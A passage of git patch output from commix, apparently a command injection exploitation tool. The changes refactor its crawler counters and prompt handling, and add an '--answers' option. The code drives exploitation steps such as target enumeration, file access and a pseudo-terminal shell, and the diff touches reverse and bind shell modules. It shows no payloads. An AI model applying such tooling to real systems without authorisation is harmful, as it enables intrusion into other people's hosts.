response.getcode() @@ -221,7 +225,7 @@ def https_open(self, req): not settings.IS_XML and \ not str(err.code) == settings.INTERNAL_SERVER_ERROR and \ not str(err.code) == settings.BAD_REQUEST and \ - not settings.CRAWLED_URLS != 0) and settings.CRAWLED_SKIPPED_URLS != 0: + not settings.CRAWLED_URLS_NUM != 0) and settings.CRAWLED_SKIPPED_URLS_NUM != 0: print(settings.SINGLE_WHITESPACE) # Check for 3xx, 4xx, 5xx HTTP error codes. if str(err.code).startswith(('3', '4', '5')): diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index e3a5612766..5dbf50cb21 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -66,7 +66,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): else: while True: if not menu.options.batch and not settings.FOLLOW_REDIRECT: - if settings.CRAWLED_URLS != 0 and settings.CRAWLED_SKIPPED_URLS != 0: + if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0: print(settings.SINGLE_WHITESPACE) question_msg = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n" question_msg += "Do you want to follow the identified redirection? [Y/n] > " @@ -90,7 +90,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg: if settings.VALID_URL: - checks.connection_exceptions(err_msg, url) + checks.connection_exceptions(err_msg, request) else: pass diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 81fd2a2d7c..470d8e704d 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -29,11 +29,16 @@ from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup -sitemap_loc = [] -visited_hrefs = [] -crawled_hrefs = [] -new_crawled_hrefs = [] +def init_global_vars(): + global crawled_hrefs + crawled_hrefs = [] + global sitemap_loc + sitemap_loc = [] + global visited_hrefs + visited_hrefs = [] + global new_crawled_hrefs + new_crawled_hrefs = [] """ Change the crawling depth level. @@ -183,6 +188,8 @@ def sitemap(url): Store the identified (valid) hrefs. """ def store_hrefs(href, identified_hrefs, redirection): + set(crawled_hrefs) + set(new_crawled_hrefs) if href not in crawled_hrefs: if (settings.DEFAULT_CRAWLING_DEPTH != 1 and href not in new_crawled_hrefs) or redirection: new_crawled_hrefs.append(href) @@ -212,9 +219,9 @@ def request(url): except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: if url not in settings.HREF_SKIPPED: settings.HREF_SKIPPED.append(url) - settings.CRAWLED_SKIPPED_URLS += 1 + settings.CRAWLED_SKIPPED_URLS_NUM += 1 if settings.TOTAL_OF_REQUESTS != 1 and not settings.MULTI_TARGETS: - if settings.CRAWLED_URLS != 0 and settings.CRAWLED_SKIPPED_URLS != 0: + if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0: print(settings.SINGLE_WHITESPACE) checks.connection_exceptions(err_msg, url) if settings.VERBOSITY_LEVEL >= 2: @@ -273,11 +280,15 @@ def check_sitemap(): print(settings.print_error_msg(err_msg)) pass +""" +Check if no usable links found. +""" def no_usable_links(crawled_hrefs): if len(crawled_hrefs) == 0: - warn_msg = "No usable links found." + warn_msg = "No usable links found (with GET parameters)." print(settings.print_warning_msg(warn_msg)) - raise SystemExit() + if not settings.MULTI_TARGETS: + raise SystemExit() """ The crawing process. @@ -287,7 +298,7 @@ def do_process(url): if settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) else: - if settings.CRAWLED_SKIPPED_URLS == 0: + if settings.CRAWLED_SKIPPED_URLS_NUM == 0 or settings.CRAWLED_URLS_NUM != 0: sys.stdout.write("\r") # Grab the crawled hrefs. try: @@ -302,7 +313,6 @@ def do_process(url): tags = [] tags += re.finditer(r'(?i)\s(href|src)=["\'](?P[^>"\']+)', content) tags += re.finditer(r'(?i)window\.open\(["\'](?P[^)"\']+)["\']', content) - for tag in tags: href = tag.get("href") if hasattr(tag, settings.HTTPMETHOD.GET) else tag.group("href") if href: @@ -328,6 +338,7 @@ def do_process(url): The main crawler. """ def crawler(url, url_num, crawling_list): + init_global_vars() if crawling_list > 1: _ = " (" + str(url_num) + "/" + str(crawling_list) + ")" else: @@ -349,28 +360,34 @@ def crawler(url, url_num, crawling_list): info_msg = "Searching for usable " info_msg += "links with depth " + str(settings.DEFAULT_CRAWLING_DEPTH) + "." print(settings.print_info_msg(info_msg)) - if settings.DEFAULT_CRAWLING_DEPTH != 1: + if settings.DEFAULT_CRAWLING_DEPTH == 2: output_href = new_crawled_hrefs + elif settings.DEFAULT_CRAWLING_DEPTH > 2: + output_href = new_crawled_hrefs + crawled_hrefs + try: + [output_href.remove(x) for x in visited_hrefs if x in output_href] + except TypeError: + pass link = 0 if output_href is not None: for url in output_href: if url not in visited_hrefs: link += 1 - settings.CRAWLED_URLS = link + settings.CRAWLED_URLS_NUM = link visited_hrefs.append(url) do_process(url) info_msg = str(link) info_msg += "/" + str(len(output_href)) + " links visited." sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() - if settings.VERBOSITY_LEVEL != 0: + if settings.VERBOSITY_LEVEL > 1: print(settings.SINGLE_WHITESPACE) if link != 0: print(settings.SINGLE_WHITESPACE) settings.DEFAULT_CRAWLING_DEPTH += 1 output_href = crawled_hrefs - no_usable_links(crawled_hrefs) + no_usable_links(output_href) return output_href # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 2f587a5d43..bc5787c777 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "59" +REVISION = "60" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1132,8 +1132,8 @@ def sys_argv_errors(): # Crawling state CRAWLING = False -CRAWLED_SKIPPED_URLS = 0 -CRAWLED_URLS = 0 +CRAWLED_SKIPPED_URLS_NUM = 0 +CRAWLED_URLS_NUM = 0 # Skipped crawled hrefs HREF_SKIPPED = [] From 09e9bea93d8ebcb03322317a338c0d1c6b616602 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 13 May 2022 09:14:48 +0300 Subject: [PATCH 137/560] Fixes https://github.com/commixproject/commix/issues/497, fixes https://github.com/commixproject/commix/issues/769, added a new option `--answers` to set user answers to asked questions during commix run --- doc/CHANGELOG.md | 1 + .../blind/techniques/time_based/tb_handler.py | 52 ++++---------- src/core/injections/controller/checks.py | 13 ++-- src/core/injections/controller/controller.py | 49 +++++-------- .../techniques/classic/cb_handler.py | 35 +++------ .../techniques/eval_based/eb_handler.py | 34 +++------ .../techniques/file_based/fb_handler.py | 53 ++++---------- .../techniques/file_based/fb_injector.py | 12 ++-- .../techniques/tempfile_based/tfb_handler.py | 41 +++-------- src/core/main.py | 22 +++--- .../dns_exfiltration/dns_exfiltration.py | 11 +-- .../icmp_exfiltration/icmp_exfiltration.py | 13 ++-- src/core/modules/shellshock/shellshock.py | 33 +++------ src/core/requests/authentication.py | 18 ++--- src/core/requests/redirection.py | 15 ++-- src/core/requests/requests.py | 28 +++----- src/core/shells/bind_tcp.py | 61 ++++++---------- src/core/shells/reverse_tcp.py | 61 ++++++---------- src/utils/common.py | 66 ++++++++++++++--- src/utils/crawler.py | 71 +++++-------------- src/utils/install.py | 9 +-- src/utils/menu.py | 9 ++- src/utils/session_handler.py | 22 +++--- src/utils/settings.py | 10 ++- src/utils/update.py | 27 +++---- 25 files changed, 282 insertions(+), 484 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index e4f15ae11f..8699acf397 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Added: New option `--answers` to set user answers to asked questions during commix run. * Added: Support regarding combining `--crawl` option with scanning multiple targets given in a textual file (i.e. via option `-m`). * Added: Support for normalizing crawling results. * Revised: Improvement regarding crawler. diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index e58bd3fbfb..4dc27cb427 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -21,6 +21,7 @@ from src.utils import menu from src.utils import logs from src.utils import settings +from src.utils import common from src.core.compat import xrange from src.utils import session_handler from src.core.requests import headers @@ -217,13 +218,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r warn_msg += "requests. This behavior may lead to false-positive results.\n" sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) while True: - if not menu.options.batch: - question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = _input(settings.print_question_msg(question_msg)) - else: - proceed_option = "" - if len(proceed_option) == 0: - proceed_option = "c" + message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " + proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": false_positive_fixation = False @@ -420,13 +416,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: - if not menu.options.batch: - question_msg = "Do you want to enumerate again? [Y/n] > " - enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() - else: - enumerate_again = "" - if len(enumerate_again) == 0: - enumerate_again = "Y" + message = "Do you want to enumerate again? [Y/n] > " + enumerate_again = common.read_input(message, default="Y", check_batch=True) if enumerate_again in settings.CHOICE_YES: tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) print(settings.SINGLE_WHITESPACE) @@ -449,13 +440,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if settings.FILE_ACCESS_DONE == True: print(settings.SINGLE_WHITESPACE) while True: - if not menu.options.batch: - question_msg = "Do you want to access files again? [Y/n] > " - file_access_again = _input(settings.print_question_msg(question_msg)) - else: - file_access_again = "" - if len(file_access_again) == 0: - file_access_again = "Y" + message = "Do you want to access files again? [Y/n] > " + file_access_again = common.read_input(message, default="Y", check_batch=True) if file_access_again in settings.CHOICE_YES: tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break @@ -487,17 +473,10 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r go_back_again = False while True: if go_back == True: - break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell = "Y" + break + message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + gotshell = common.read_input(message, default="Y", check_batch=True) if gotshell in settings.CHOICE_YES: - # if not menu.options.batch: - # print(settings.SINGLE_WHITESPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() @@ -511,7 +490,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = _input() + cmd = common.read_input(message="", default=None, check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") @@ -594,13 +573,8 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, while True: if go_back == True: return False - if not menu.options.batch: - question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = _input(settings.print_question_msg(question_msg)) - else: - proceed_option = "" - if len(proceed_option) == 0: - proceed_option = "c" + message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " + proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": from src.core.injections.semiblind.techniques.file_based import fb_handler diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index d4b075f8a1..26da81b9f5 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -27,9 +27,9 @@ import gzip import zlib import traceback +from src.utils import common from src.utils import logs from src.utils import menu -from src.utils import common from src.utils import settings from src.utils import simple_http_server from src.thirdparty.odict import OrderedDict @@ -422,8 +422,8 @@ def check_injection_level(): """ def next_attack_vector(technique, go_back): while True: - message = "Continue with testing the " + technique + "? [Y/n] > " - next_attack_vector = common.read_input(message, default="Y", check_batch=True) + message = "Continue with testing the " + technique + "? [y/N] > " + next_attack_vector = common.read_input(message, default="N", check_batch=True) if next_attack_vector in settings.CHOICE_YES: # Check injection state assessment_phase() @@ -1498,7 +1498,7 @@ def process_json_data(): info_msg = "JSON data found in POST data." message = info_msg message += " Do you want to process it? [Y/n] > " - json_process = common.read_input(message, default="Y", check_batch=True) + json_process = common.read_input(message, default="Y", check_batch=True) if json_process in settings.CHOICE_YES: settings.IS_JSON = True break @@ -1574,8 +1574,9 @@ def file_upload(): # Check if not defined URL for upload. while True: message = "Do you want to enable an HTTP server? [Y/n] > " - enable_HTTP_server = common.read_input(message, default="Y", check_batch=True) + enable_HTTP_server = common.read_input(message, default="Y", check_batch=True) if enable_HTTP_server in settings.CHOICE_YES: + # Check if file exists if not os.path.isfile(menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' file, does not exist." @@ -1654,7 +1655,7 @@ def define_py_working_dir(): while True: message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER message += "' as Python working directory on the target host? [Y/n] > " - python_dir = common.read_input(message, default="Y" , check_batch=True) + python_dir = common.read_input(message, default="Y", check_batch=True) if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 1c0894548e..80acffdf25 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -19,6 +19,7 @@ from src.utils import menu from src.utils import logs from src.utils import settings +from src.utils import common from src.utils import session_handler from src.core.requests import headers from src.core.requests import requests @@ -204,15 +205,10 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met if cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: if (len(menu.options.tech) == 0 or "e" in menu.options.tech): while True: - if not menu.options.batch: - settings.CLASSIC_STATE = True - question_msg = "Skipping of code injection tests is recommended. " - question_msg += "Do you agree? [Y/n] > " - procced_option = _input(settings.print_question_msg(question_msg)) - else: - procced_option = "" - if len(procced_option) == 0: - procced_option = "Y" + settings.CLASSIC_STATE = True + message = "Skipping of code injection tests is recommended. " + message += "Do you agree? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: settings.SKIP_CODE_INJECTIONS = True break @@ -240,15 +236,10 @@ def dynamic_code_evaluation_technique(url, timesec, filename, http_request_metho settings.EVAL_BASED_STATE = None if eb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False: while True: - if not menu.options.batch: - settings.EVAL_BASED_STATE = True - question_msg = "Skipping of further command injection checks is recommended. " - question_msg += "Do you agree? [Y/n] > " - procced_option = _input(settings.print_question_msg(question_msg)) - else: - procced_option = "" - if len(procced_option) == 0: - procced_option = "Y" + settings.EVAL_BASED_STATE = True + message = "Skipping of further command injection checks is recommended. " + message += "Do you agree? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: settings.SKIP_COMMAND_INJECTIONS = True break @@ -383,13 +374,10 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: while True: - if not menu.options.batch: - question_msg = "Skipping of further command injection tests is recommended. " - question_msg += "Do you agree? [Y/n] > " - procced_option = _input(settings.print_question_msg(question_msg)) - else: - procced_option = "" - if procced_option in settings.CHOICE_YES or len(procced_option) == 0: + message = "Skipping of further command injection tests is recommended. " + message += "Do you agree? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True break @@ -815,14 +803,9 @@ def do_check(url, http_request_method, filename): scan_level = menu.options.level while int(scan_level) < int(settings.HTTP_HEADER_INJECTION_LEVEL) and settings.LOAD_SESSION != True: while True: - if not menu.options.batch: - question_msg = "Do you want to increase to '--level=" + str(scan_level + 1) - question_msg += "' in order to perform more tests? [Y/n] > " - next_level = _input(settings.print_question_msg(question_msg)) - else: - next_level = "" - if len(next_level) == 0: - next_level = "Y" + message = "Do you want to increase to '--level=" + str(scan_level + 1) + message += "' in order to perform more tests? [Y/n] > " + next_level = common.read_input(message, default="Y", check_batch=True) if next_level in settings.CHOICE_YES: menu.options.level = int(menu.options.level + scan_level) if perform_checks(url, http_request_method, filename) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL : diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index cefc4f577c..a5142b36cc 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -24,6 +24,7 @@ from src.utils import menu from src.utils import logs from src.utils import settings +from src.utils import common from src.utils import session_handler from src.thirdparty.colorama import Fore, Back, Style, init from src.core.shells import reverse_tcp @@ -290,16 +291,10 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ new_line = True if settings.ENUMERATION_DONE == True : while True: - if not menu.options.batch: - question_msg = "Do you want to enumerate again? [Y/n] > " - enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() - else: - enumerate_again = "" - if len(enumerate_again) == 0: - enumerate_again = "Y" + message = "Do you want to enumerate again? [Y/n] > " + enumerate_again = common.read_input(message, default="Y", check_batch=True) if enumerate_again in settings.CHOICE_YES: cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - #print(settings.SINGLE_WHITESPACE) break elif enumerate_again in settings.CHOICE_NO: new_line = False @@ -322,13 +317,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ if settings.ENUMERATION_DONE != True: print(settings.SINGLE_WHITESPACE) while True: - if not menu.options.batch: - question_msg = "Do you want to access files again? [Y/n] > " - file_access_again = _input(settings.print_question_msg(question_msg)) - else: - file_access_again = "" - if len(file_access_again) == 0: - file_access_again = "Y" + message = "Do you want to access files again? [Y/n] > " + file_access_again = common.read_input(message, default="Y", check_batch=True) if file_access_again in settings.CHOICE_YES: cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) break @@ -358,16 +348,9 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ while True: if go_back == True: break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell = "Y" + message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + gotshell = common.read_input(message, default="Y", check_batch=True) if gotshell in settings.CHOICE_YES: - # if not menu.options.batch: - # print(settings.SINGLE_WHITESPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() @@ -376,7 +359,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = _input() + cmd = common.read_input(message="", default=None, check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") @@ -414,7 +397,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ print(settings.command_execution_output(shell)) print(settings.SINGLE_WHITESPACE) else: - if settings.VERBOSITY_LEVEL == 1: + if settings.VERBOSITY_LEVEL == 1 or (len(cmd) == 0 and settings.VERBOSITY_LEVEL <= 1): print(settings.SINGLE_WHITESPACE) err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg)) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 4bfa672b56..dd77d4b545 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -24,6 +24,7 @@ from src.utils import menu from src.utils import logs from src.utils import settings +from src.utils import common from src.utils import session_handler from src.thirdparty.colorama import Fore, Back, Style, init from src.core.requests import headers @@ -301,13 +302,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ new_line = True if settings.ENUMERATION_DONE == True : while True: - if not menu.options.batch: - question_msg = "Do you want to enumerate again? [Y/n] > " - enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() - else: - enumerate_again = "" - if len(enumerate_again) == 0: - enumerate_again = "Y" + message = "Do you want to enumerate again? [Y/n] > " + enumerate_again = common.read_input(message, default="Y", check_batch=True) if enumerate_again in settings.CHOICE_YES: eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # print(settings.SINGLE_WHITESPACE) @@ -333,13 +329,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if settings.ENUMERATION_DONE != True: print(settings.SINGLE_WHITESPACE) while True: - if not menu.options.batch: - question_msg = "Do you want to access files again? [Y/n] > " - file_access_again = _input(settings.print_question_msg(question_msg)) - else: - file_access_again = "" - if len(file_access_again) == 0: - file_access_again = "Y" + message = "Do you want to access files again? [Y/n] > " + file_access_again = common.read_input(message, default="Y", check_batch=True) if file_access_again in settings.CHOICE_YES: eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) break @@ -369,16 +360,9 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ while True: if go_back == True: break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell = "Y" + message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + gotshell = common.read_input(message, default="Y", check_batch=True) if gotshell in settings.CHOICE_YES: - # if not menu.options.batch: - # print(settings.SINGLE_WHITESPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() @@ -387,7 +371,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = _input() + cmd = common.read_input(message="", default=None, check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") @@ -421,7 +405,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ print(settings.command_execution_output(shell)) print(settings.SINGLE_WHITESPACE) else: - if settings.VERBOSITY_LEVEL == 1: + if settings.VERBOSITY_LEVEL == 1 or (len(cmd) == 0 and settings.VERBOSITY_LEVEL <= 1): print(settings.SINGLE_WHITESPACE) err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg)) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index da715e3a0a..531fffa7c2 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -25,6 +25,7 @@ from src.core.requests import headers from src.core.requests import requests from src.core.requests import parameters +from src.utils import common from src.core.injections.controller import checks from src.core.injections.controller import shell_options from src.thirdparty.six.moves import input as _input @@ -77,9 +78,9 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon example_root_dir = "\\inetpub\\wwwroot" else: example_root_dir = "/var/www" - question_msg = "Please provide the host's root directory (e.g. '" - question_msg += example_root_dir + "') > " - settings.WEB_ROOT = _input(settings.print_question_msg(question_msg)) + message = "Please provide the host's root directory (e.g. '" + message += example_root_dir + "') > " + settings.WEB_ROOT = common.read_input(message, default=None, check_batch=True) if settings.WEB_ROOT.endswith(("\\", "/")): settings.WEB_ROOT = settings.WEB_ROOT[:-1] if len(settings.WEB_ROOT) == 0: @@ -368,13 +369,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) print(settings.SINGLE_WHITESPACE) while True: - if not menu.options.batch: - question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > " - tmp_upload = _input(settings.print_question_msg(question_msg)) - else: - tmp_upload = "" - if len(tmp_upload) == 0: - tmp_upload = "Y" + message = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > " + tmp_upload = common.read_input(message, default="Y", check_batch=True) if tmp_upload in settings.CHOICE_YES: exit_loops = True settings.TEMPFILE_BASED_STATE = True @@ -525,13 +521,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r new_line = True if settings.ENUMERATION_DONE == True : while True: - if not menu.options.batch: - question_msg = "Do you want to enumerate again? [Y/n] > " - enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() - else: - enumerate_again = "" - if len(enumerate_again) == 0: - enumerate_again = "Y" + message = "Do you want to enumerate again? [Y/n] > " + enumerate_again = common.read_input(message, default="Y", check_batch=True) if enumerate_again in settings.CHOICE_YES: fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # print(settings.SINGLE_WHITESPACE) @@ -560,13 +551,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if settings.ENUMERATION_DONE != True: print(settings.SINGLE_WHITESPACE) while True: - if not menu.options.batch: - question_msg = "Do you want to access files again? [Y/n] > " - file_access_again = _input(settings.print_question_msg(question_msg)) - else: - file_access_again = "" - if len(file_access_again) == 0: - file_access_again= "Y" + message = "Do you want to access files again? [Y/n] > " + file_access_again = common.read_input(message, default="Y", check_batch=True) if file_access_again in settings.CHOICE_YES: fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) break @@ -600,23 +586,14 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r go_back_again = False while True: # Delete previous shell (text) files (output) - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) if go_back == True: break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell = "Y" + message = "Do you want a Pseudo-Terminal shell? [Y/n] > " + gotshell = common.read_input(message, default="Y", check_batch=True) if gotshell in settings.CHOICE_YES: - # if not menu.options.batch: - # print(settings.SINGLE_WHITESPACE) print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() @@ -624,10 +601,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = _input() + cmd = common.read_input(message="", default=None, check_batch=True) cmd = checks.escaped_cmd(cmd) - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) if cmd.lower() in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) if go_back and go_back_again == False: @@ -655,7 +630,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r print(settings.command_execution_output(shell)) print(settings.SINGLE_WHITESPACE) if not shell or shell == "": - if settings.VERBOSITY_LEVEL == 1: + if settings.VERBOSITY_LEVEL == 1 or (len(cmd) == 0 and settings.VERBOSITY_LEVEL <= 1): print(settings.SINGLE_WHITESPACE) err_msg = "The 